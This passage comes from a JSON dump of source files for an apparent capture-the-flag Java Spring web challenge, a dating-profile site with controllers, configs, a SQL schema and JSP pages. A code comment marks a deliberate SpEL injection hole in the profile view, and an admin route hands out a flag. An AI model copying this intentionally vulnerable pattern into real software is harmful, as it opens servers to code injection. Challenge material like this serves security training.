session.getAttribute(\"userId\");\n            Profile profile = profileDao.findProfileByUserId(userid);\n            String template = profileView(profile);//这个函数存在spel注入\n            session.setAttribute(\"Template\", template);\n            session.setAttribute(\"profile\", profile);\n            session.setAttribute(\"message\", message);\n            return \"profile_view\";\n        }else if(first==2){\n            return \"excel\";\n        }else {\n            session.setAttribute(\"message\",Canstants.authFail);\n            return \"error\";\n        }\n    }\n\n    /**\n     */\n    @RequestMapping(\"/my\")\n    public String myInfo(HttpSession session){\n        Integer userid = (Integer) session.getAttribute(\"userId\");\n        Profile profile = profileDao.findProfileByUserId(userid);\n        session.setAttribute(\"profile\", profile);\n        return \"arrangeMent\";\n    }\n    @RequestMapping(\"/export\")\n    public String exportPage(HttpSession session,@ModelAttribute(\"message\") String message){\n        Integer code = (Integer) session.getAttribute(\"first\");\n        if(code!=null&&code== User.ADMIN){\n            session.setAttribute(\"message\", message);\n            Flag flag = new Flag();\n            flag.setFlag();\n            session.setAttribute(\"flag\", flag.getFlag());\n            return \"excel\";\n        }else {\n            session.setAttribute(\"message\", Canstants.authFail);\n            return \"error\";\n        }\n    }\n\n    @RequestMapping(value = \"/add\",method = RequestMethod.POST)\n    public String add(@RequestParam(\"image\")MultipartFile file, Profile profile, HttpServletRequest request, HttpSession session) throws IOException, ParseException {\n        if(!SystemDateTimeChecker.checkNowOk()){//对不在指定时间访问需要登录的接口请求进行统一后台拦截\n            request.setAttribute(\"message\",\"接口暂未开放访问权限\");\n            return \"error\";\n        }\n        boolean flag = Check.checkProfile(profile);\n        if(!flag) {\n            System.out.println(\"[-]Check Profile Wrong\");\n            session.setAttribute(\"message\", Canstants.checkFail);\n            return \"redirect:/profile/profileAdd.html\";\n        }\n        String fileName = file.getOriginalFilename();\n        String suffix = fileName.substring(fileName.lastIndexOf(\".\") + 1);\n        if(!Canstants.suffixs.contains(suffix)){//不在允许的后缀之内\n            System.out.println(\"[-] There is something wromng\");\n            session.setAttribute(\"message\", Canstants.checkFail);\n            return \"redirect:/profile/profileAdd.html\";\n        }\n        Integer code = (Integer) session.getAttribute(\"first\");\n        if (code != null && code == User.UNSUBMITTED) {//\n            String realUploadPath = request.getServletContext().getRealPath(\"/\") + \"images\";\n            String uuidFileName = java.util.UUID.randomUUID().toString();\n            String imageUrl = upload.uploadImage(file, realUploadPath, uuidFileName);\n            String thumbImageUrl = thumbnail.generateThumbnail(file, realUploadPath, uuidFileName);\n\n            int userId = (Integer) session.getAttribute(\"userId\");\n            profile.setUser_id(userId);\n            profile.setPhoto(thumbImageUrl);\n            profileDao.addProfile(profile);\n            userDao.updateFirst(userId,1);\n            String template = profileView(profile);\n            session.setAttribute(\"Template\", template);\n            session.setAttribute(\"profile\", profile);\n\n            session.setAttribute(\"first\",1);\n            return \"redirect:/profile/myProfile\";\n        } else {\n            session.setAttribute(\"message\", Canstants.authFail);\n            return \"error\";\n        }\n    }\n\n    @RequestMapping(value = \"/edit\",method = RequestMethod.POST)\n    public String edit(Profile profile, HttpServletRequest request, HttpSession session)throws IOException{\n        boolean flag = Check.checkProfile(profile);\n        if(!flag) {\n            session.setAttribute(\"message\", Canstants.checkFail);\n            return \"redirect:/profile/profileEditHtml.html\";\n        }\n        Integer code = (Integer) session.getAttribute(\"first\");\n        if (code != null && code == User.UNSUBMITTED) {\n            return \"redirect:/profile/myProfile\";\n        } else if(code != null && code == User.SUBMITTED)  {\n            User mailUser = userDao.findUserByEmail(profile.getMail());\n            int userId = (Integer) session.getAttribute(\"userId\");\n            if(mailUser.getEmail()!=null&&mailUser.getId()!=userId){\n                session.setAttribute(\"message\", Canstants.regEmailFail);\n                return \"redirect:/profile/profileEditHtml.html\";\n            }\n            Profile p = profileDao.findProfileByUserId(userId);\n            profile.setId(p.getId());\n            profile.setUser_id(p.getUser_id());\n            profile.setPhoto(p.getPhoto());\n            if(p.getId()!=profile.getId()||p.getUser_id()!=profile.getUser_id()){//越权访问\n                session.setAttribute(\"message\", Canstants.authFail);\n                return \"redirect:/profile/profileEditHtml.html\";\n            }\n            if(userId==profile.getUser_id()){\n                profileDao.editProfile(profile);\n                userDao.updateEmail(userId,profile.getMail());\n            }else {\n                throw new PermissionException(Canstants.authFail);\n            }\n            session.setAttribute(\"profile\", profile);\n            return \"redirect:/profile/myProfile\";\n        }else {\n            session.setAttribute(\"message\", Canstants.authFail);\n            return \"error\";\n        }\n    }\n\n    public String profileView(Profile profile) {\n        return String.valueOf(new SpelView(profile).getTemplate());\n    }\n   }\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/admin/AdminControllor.java",
    "content": "package com.bupt.web.admin;\n\nimport com.bupt.dao.ProfileDao;\nimport com.bupt.dao.UserDao;\nimport com.bupt.domain.Profile;\nimport com.bupt.domain.User;\nimport com.bupt.utils.ProfileExcelExportUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.OutputStream;\nimport java.util.List;\n\n@Controller\n@RequestMapping(\"admin\")\npublic class AdminControllor {\n    @Autowired\n    ProfileDao profileDao;\n    @Autowired\n    UserDao userDao;\n\n    @RequestMapping(\"/excel.html\")\n    public void excel(HttpSession session, HttpServletRequest req, HttpServletResponse res) {\n        System.out.println(\"-->admin/excel.html\");\n        String username = (String) session.getAttribute(\"username\");\n        User temp = userDao.findUserByUsername(username);\n        System.out.println(temp);\n        if (temp.getFirst() != User.ADMIN) {\n            return;\n        }\n        System.out.println(session.getServletContext().getRealPath(\"\"));\n        String path = session.getServletContext().getRealPath(\"\") + File.separator + \"excel\";\n        File file = new File(path);\n        if (!file.exists()) {\n            file.mkdirs();\n        }\n\n        List<Profile> profileDaoList = profileDao.findAll();\n        String filePath = path + File.separator + \"恋爱的季节.xls\";\n        ProfileExcelExportUtils.generateExcel(filePath, profileDaoList);\n\n        try {\n            res.setHeader(\"Content-disposition\", \"attachment;fileName=\" + new String(\"恋爱的季节.xls\".getBytes(\"GBK\"), \"ISO8859-1\"));\n            res.setContentType(\"application/vnd.ms-excel;charset=UTF-8\");\n            FileInputStream input = new FileInputStream(filePath);\n            OutputStream out = res.getOutputStream();\n            byte[] b = new byte[2048];\n            int len;\n            while ((len = input.read(b)) != -1) {\n                out.write(b, 0, len);\n            }\n            res.setHeader(\"Content-Length\", String.valueOf(input.getChannel().size()));\n            input.close();\n        } catch (Exception ex) {\n        }\n        return;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/main.iml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module type=\"JAVA_MODULE\" version=\"4\">\n  <component name=\"FacetManager\">\n    <facet type=\"web\" name=\"Web\">\n      <configuration>\n        <descriptors>\n          <deploymentDescriptor name=\"web.xml\" url=\"file://$MODULE_DIR$/webapp/WEB-INF/web.xml\" />\n        </descriptors>\n        <webroots>\n          <root url=\"file://$MODULE_DIR$/webapp\" relative=\"/\" />\n        </webroots>\n        <sourceRoots>\n          <root url=\"file://$MODULE_DIR$/java\" />\n        </sourceRoots>\n      </configuration>\n    </facet>\n  </component>\n  <component name=\"NewModuleRootManager\" inherit-compiler-output=\"true\">\n    <exclude-output />\n    <content url=\"file://$MODULE_DIR$\">\n      <sourceFolder url=\"file://$MODULE_DIR$/java\" isTestSource=\"false\" />\n      <sourceFolder url=\"file://$MODULE_DIR$/test\" isTestSource=\"true\" />\n    </content>\n    <orderEntry type=\"inheritedJdk\" />\n    <orderEntry type=\"sourceFolder\" forTests=\"false\" />\n    <orderEntry type=\"library\" name=\"lib\" level=\"project\" />\n  </component>\n</module>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/resources/spring/ApplicationContext-dao.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\">\n\n    <!-- 配置数据源 -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\"\n          destroy-method=\"close\"\n          p:driverClassName=\"com.mysql.jdbc.Driver\"\n          p:url=\"jdbc:mysql://localhost:3306/chapter2?characterEncoding=UTF-8\"\n          p:username=\"tomcat\"\n          p:password=\"tomcat\"/>\n\n\n    <!-- 配置Jdbc模板  -->\n    <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\"\n          p:dataSource-ref=\"dataSource\"/>\n\n\n\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/resources/spring/ApplicationContext-service.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\n       http://www.springframework.org/schema/tx\n       http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n       http://www.springframework.org/schema/aop\n       http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\">\n    <!-- 扫描类包，将标注Spring注解的类自动转化Bean，同时完成Bean的注入 -->\n    <context:component-scan base-package=\"com.bupt.dao\"/>\n    <context:component-scan base-package=\"com.bupt.service\"/>\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/resources/spring/spring-context.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\n       http://www.springframework.org/schema/tx\n       http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n       http://www.springframework.org/schema/aop\n       http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\">\n\n    <!-- 扫描类包，将标注Spring注解的类自动转化Bean，同时完成Bean的注入 -->\n    <context:component-scan base-package=\"com.bupt.dao\"/>\n    <context:component-scan base-package=\"com.bupt.service\"/>\n\n    <!-- 配置数据源 -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\"\n          destroy-method=\"close\"\n          p:driverClassName=\"com.mysql.jdbc.Driver\"\n          p:url=\"jdbc:mysql://localhost:3306/chapter2\"\n          p:username=\"root\"\n          p:password=\"root\" />\n\n\n    <!-- 配置Jdbc模板  -->\n    <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 配置事务管理器 -->\n    <bean id=\"transactionManager\"\n          class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 通过AOP配置提供事务增强，让service包下所有Bean的所有方法拥有事务 -->\n    <aop:config proxy-target-class=\"true\">\n        <aop:pointcut id=\"serviceMethod\"\n                      expression=\"(execution(* com.bupt.service..*(..))) and (@annotation(org.springframework.transaction.annotation.Transactional))\" />\n        <aop:advisor pointcut-ref=\"serviceMethod\" advice-ref=\"txAdvice\" />\n    </aop:config>\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"*\" />\n        </tx:attributes>\n    </tx:advice>\n</beans>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/resources/spring/sprintmvc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:mvc=\"http://www.springframework.org/schema/mvc\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd\">\n\n\n    <mvc:annotation-driven/>\n    <context:annotation-config />\n\n    <!-- 扫描web包，应用Spring的注解 -->\n    <context:component-scan base-package=\"com.bupt.web\"/>\n\n    <!--全局错误信息处理器\n      只要实现HandlerExceptionResolver接口就是全局异常处理器\n    -->\n    <!--<bean class=\"com.bupt.exception.CustomExceptionResolver\"/>-->\n\n    <!-- 拦截器 -->\n    <mvc:interceptors>\n         <!--多个拦截器，顺序执行 -->\n         <!--如果有多个拦截器，则按照顺序进行配置-->\n        <mvc:interceptor>\n            <mvc:mapping path=\"/profile/add\"/>\n             <!--配置自定义的文件上传类型限制拦截器-->\n            <bean class=\"com.bupt.interceptor.FileTypeInterceptor\"/>\n        </mvc:interceptor>\n\n        <mvc:interceptor>\n            <mvc:mapping path=\"/profile/**\"/>\n            <mvc:mapping path=\"/download/**\"/>\n            <mvc:mapping path=\"/admin/**\"/>\n            <bean class=\"com.bupt.interceptor.LoginInterceptor\"/>\n        </mvc:interceptor>\n\n    </mvc:interceptors>\n\n    <!-- 对文件上传的处理，这里声明的id必须为multipartResolver-->\n    <bean id=\"multipartResolver\"  class=\"org.springframework.web.multipart.commons.CommonsMultipartResolver\" >\n        <!--  最大为10M，单位为字节   -->\n        <!--<property name=\"maxUploadSize\" value=\"10485760\"></property>-->\n        <property name=\"defaultEncoding\" value=\"utf-8\"></property>\n        <property name=\"maxInMemorySize\" value=\"40960\"></property>\n    </bean>\n\n    <bean class=\"com.bupt.common.SpringExceptionResolver\" />\n\n    <bean class=\"org.springframework.web.servlet.view.BeanNameViewResolver\" />\n\n    <bean id=\"jsonView\" class=\"org.springframework.web.servlet.view.json.MappingJackson2JsonView\" />\n\n    <!-- 配置视图解析器，将ModelAndView及字符串解析为具体的页面 -->\n    <bean class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\">\n        <property name=\"prefix\" value=\"/WEB-INF/jsp/\" />\n        <property name=\"suffix\" value=\".jsp\" />\n    </bean>\n    <!--<bean-->\n            <!--class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\"-->\n            <!--p:viewClass=\"org.springframework.web.servlet.view.JstlView\"-->\n            <!--p:prefix=\"/WEB-INF/jsp/\"-->\n            <!--p:suffix=\".jsp\"/>-->\n\n    <!-- 配置静态资源 -->\n    <mvc:default-servlet-handler />\n    <!--对静态资源文件的访问 -->\n\n    <mvc:resources location=\"/css/\" mapping=\"/css/**\"/>\n    <mvc:resources location=\"/js/\" mapping=\"/js/**\"/>\n    <mvc:resources location=\"/bootstrap3.3.5/\" mapping=\"/bootstrap3.3.5/**\"/>\n    <mvc:resources location=\"/images/\" mapping=\"/images/**\"/>\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/resources/sysConfig.properties",
    "content": "#Mail\nmail.transport.protocol=SMTP\n#mail.smtp.host=smtp.163.com\nmail.smtp.host=mail.bupt.edu.cn\nmail.smtp.port=25\nmail.smtp.auth=true\nmail.smtp.timeout=25000\nmail.username=test@bupt.edu.cn\nmail.password=test\n\n#system star and end time\nsystem.start.time=2018-05-24 15:10:00\nsystem.end.time=2018-06-28 17:00:00\nsystem.time.format=yyyy-MM-dd HH:mm:ss\n\nsystem.emailOperation.start.time=2018-05-24 15:10:00\nsystem.emailOperation.end.time=2018-07-17 16:03:00\n\nsystem.public.ctf.email=test@bupt.edu.cn\n#competition.link.releaseState=false\ncompetition.link.releaseState=true\n#信息学竞赛入口\ncompetition.link.noip=http://2018.tsctf.com\n#CTF竞赛入口\ncompetition.link.ctf=http://2018.tsctf.com"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/schema/chapter2.sql",
    "content": "/*\nNavicat MySQL Data Transfer\n\nSource Server         : 本地MySQL\nSource Server Version : 50711\nSource Host           : localhost:3306\nSource Database       : chapter2\n\nTarget Server Type    : MYSQL\nTarget Server Version : 50711\nFile Encoding         : 65001\n\nDate: 2018-05-02 21:47:16\n*/\n\nSET FOREIGN_KEY_CHECKS=0;\n\n-- ----------------------------\n-- Table structure for profile\n-- ----------------------------\nDROP TABLE IF EXISTS `profile`;\nCREATE TABLE `profile` (\n  `id` int(11) NOT NULL AUTO_INCREMENT,\n  `user_id` int(11) NOT NULL,\n  `name` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `gender` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `birthday` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `province` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `nation` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `politics_status` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `IDnumber` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `type` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `school` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `grade` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `address` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `postcode` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `phone` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `height` int(11) DEFAULT NULL,\n  `weight` int(11) DEFAULT NULL,\n  `mail` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `father_name` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `father_job` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `father_phone` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `mother_name` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `mother_job` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `mother_phone` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `hobby` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `description` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `photo` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=152 DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Table structure for user\n-- ----------------------------\nDROP TABLE IF EXISTS `user`;\nCREATE TABLE `user` (\n  `id` int(11) NOT NULL AUTO_INCREMENT,\n  `username` varchar(255) COLLATE utf8_bin NOT NULL,\n  `password` varchar(255) COLLATE utf8_bin NOT NULL,\n  `email` varchar(255) COLLATE utf8_bin NOT NULL,\n  `salt` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `head_url` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `score` int(11) DEFAULT NULL,\n  `checkcode` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `time` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `first` int(11) unsigned zerofill DEFAULT NULL,\n  `pdd` varchar(255) COLLATE utf8_bin NOT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=336 DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/bupt-servlet.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\">\n    <!-- 扫描web包，应用Spring的注解 -->\n    <context:component-scan base-package=\"com.bupt.web\"/>\n\n    <!-- 配置视图解析器，将ModelAndView及字符串解析为具体的页面 -->\n    <bean\n            class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\"\n            p:viewClass=\"org.springframework.web.servlet.view.JstlView\"\n            p:prefix=\"/WEB-INF/jsp/\"\n            p:suffix=\".jsp\" />\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/alink.jsp",
    "content": "<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"container\">\n    <div class=\"row text-center\">\n        <h2>信息公告栏</h2>\n    </div>\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"row\" style=\"margin-top: 50px\">\n                <div class=\"col-md-1\"></div>\n                <div class=\"col-md-10\">\n                    <div class=\"media\" style=\"margin-bottom: 30px\">\n                        <div class=\"media-left media-middle\">\n                            <a href=\"#\">\n                                <img class=\"media-object\" src=\"${cp}asset/image/icon.jpg\" alt=\"...\">\n                            </a>\n                        </div>\n                        <div class=\"media-body\">\n                            <h4 class=\"media-heading\" style=\"color: red\"><a href=\"#\">恋爱的季节</a></h4>\n                            <div class=\"row\">\n                                <div class=\"col-md-12\">一首《明天会更好》送给单身狗们</div>\n                                <!--<div class=\"col-md-4 text-right\"><a href=\"#\" class=\"btn btn-success\">查看</a></div>-->\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"media\" style=\"margin-bottom: 30px\">\n                        <div class=\"media-left media-middle\">\n                            <a href=\"#\">\n                                <img class=\"media-object\" src=\"${cp}asset/image/icon.jpg\" alt=\"...\">\n                            </a>\n                        </div>\n                        <div class=\"media-body\">\n                            <h4 class=\"media-heading\" style=\"color: red\"><a href=\"#\">恋爱的季节</a></h4>\n                            <div class=\"row\">\n                                <div class=\"col-md-12\"> 春天是一个恋爱的季节</div>\n                                <!--<div class=\"col-md-4 text-right\"><a href=\"#\" class=\"btn btn-success\">查看</a></div>-->\n                            </div>\n                        </div>\n                    </div>\n                </div>\n                <div class=\"col-md-1\"></div>\n            </div>\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/arrangeMent.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SysConfigUtils\" %>\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"content\">\n    <div class=\"container\">\n\n        <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-3  text-left\">\n                <div class=\"list-group\">\n                    <a href=\"${cp}/profile/profileEditHtml.html\" class=\"list-group-item list-group-item-success\">修改个人信息</a>\n                    <a href=\"${cp}/profile/info.html\" class=\"list-group-item list-group-item-info\">想脱单的点进&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></a>\n                    <a href=\"${cp}/profile/competitionRule.html\" class=\"list-group-item list-group-item-success\">恋爱经验分享&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></a>\n                </div>\n            </div>\n            <div class=\"col-md-9\">\n                <div class=\"row\">\n                    <div class=\"col-sm-12\">\n                        <div class=\"col-xs-12\">\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n                                    <h3>如何才能优雅的“脱单”&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></h3>\n                                </div>\n                            </div>\n\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n                                </div>\n                            </div>\n\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n\n                                </div>\n                            </div>\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;哈哈哈，一看就是一只还没脱单的单身狗，汪汪汪~</p>\n                                </div>\n                            </div>\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>吃完今天的狗粮，早点洗洗睡吧</b></p>\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/competitionRule.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SysConfigUtils\" %>\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n\n<div class=\"content\">\n    <div class=\"container\">\n\n        <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-3  text-left\">\n                <div class=\"list-group\">\n                    <a href=\"${cp}/profile/profileEditHtml.html\" class=\"list-group-item list-group-item-success\">修改个人信息</a>\n                    <a href=\"${cp}/profile/info.html\" class=\"list-group-item list-group-item-success\">想脱单的点进&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></a>\n                    <a href=\"${cp}/profile/competitionRule.html\" class=\"list-group-item list-group-item-info\">恋爱经验分享&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></a>\n                </div>\n            </div>\n            <div class=\"col-md-9\">\n                <div class=\"row\">\n            <div class=\"col-sm-12\">\n                <div class=\"col-xs-12\">\n                    <div class=\"row\">\n                        <div class=\"col-md-12 text-center\">\n                            <h3>恋爱的季节-经验分享&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></h3>\n                        </div>\n                    </div>\n\n                    <div class=\"row\">\n                        <div class=\"col-md-12 text-center\">\n                            <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n                        </div>\n                    </div>\n\n                    <div class=\"row\">\n                        <div class=\"col-md-12 text-center\">\n\n                        </div>\n                    </div>\n\n                    <div class=\"row\">\n                        <div class=\"col-md-12\">\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-left\" style=\"padding-left:7%\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;无论从生物学人类繁衍，物种延续，基因传承的本能来说，还是社会学人们对亲密关系的需求，爱情是世世代代人类需要面临的问题</p>\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n\n                    <div class=\"row\">\n                        <div class=\"col-md-12\" style=\"padding-left:5%\">\n                            <p>&nbsp;&nbsp;&nbsp;&nbsp;<b>1. 增加魅力</b></p>\n\n                            <div class=\"row\">\n                                <div class=\"col-md-12\" style=\"padding-left:5%\">\n                                    